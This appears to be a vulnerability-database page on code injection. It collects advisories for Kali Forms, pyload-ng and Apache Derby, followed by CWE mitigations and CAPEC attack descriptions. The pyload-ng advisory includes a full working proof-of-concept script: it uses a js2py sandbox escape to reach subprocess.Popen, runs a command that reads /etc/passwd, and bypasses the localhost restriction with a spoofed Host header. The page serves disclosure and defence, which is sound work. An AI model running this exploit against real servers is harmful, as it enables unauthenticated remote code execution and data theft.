Vulnerability from github – Published: 2026-03-21 00:31 – Updated: 2026-03-21 00:31The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the 'form_process' function. This is due to the 'prepare_post_data' function mapping user-supplied keys directly into internal placeholder storage, combined with the use of 'call_user_func' on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.

GHSA-R9PP-R4XF-597R
Vulnerability from github – Published: 2024-09-09 18:17 – Updated: 2024-10-28 21:52Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Vulnerability from github – Published: 2023-11-20 09:30 – Updated: 2026-07-02 21:42A cleverly devised username might bypass LDAP authentication checks. In LDAP-authenticated Derby installations, this could let an attacker fill up the disk by creating junk Derby databases. In LDAP-authenticated Derby installations, this could also allow the attacker to execute malware which was visible to and executable by the account which booted the Derby server. In LDAP-protected databases which weren't also protected by SQL GRANT/REVOKE authorization, this vulnerability could also let an attacker view and corrupt sensitive data and run sensitive database functions and procedures.
Mitigation:
Users should upgrade to Java 21 and Derby 10.17.1.0.
Alternatively, users who wish to remain on older Java versions should build their own Derby distribution from one of the release families to which the fix was backported: 10.16, 10.15, and 10.14. Those are the releases which correspond, respectively, with Java LTS versions 17, 11, and 8.

Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
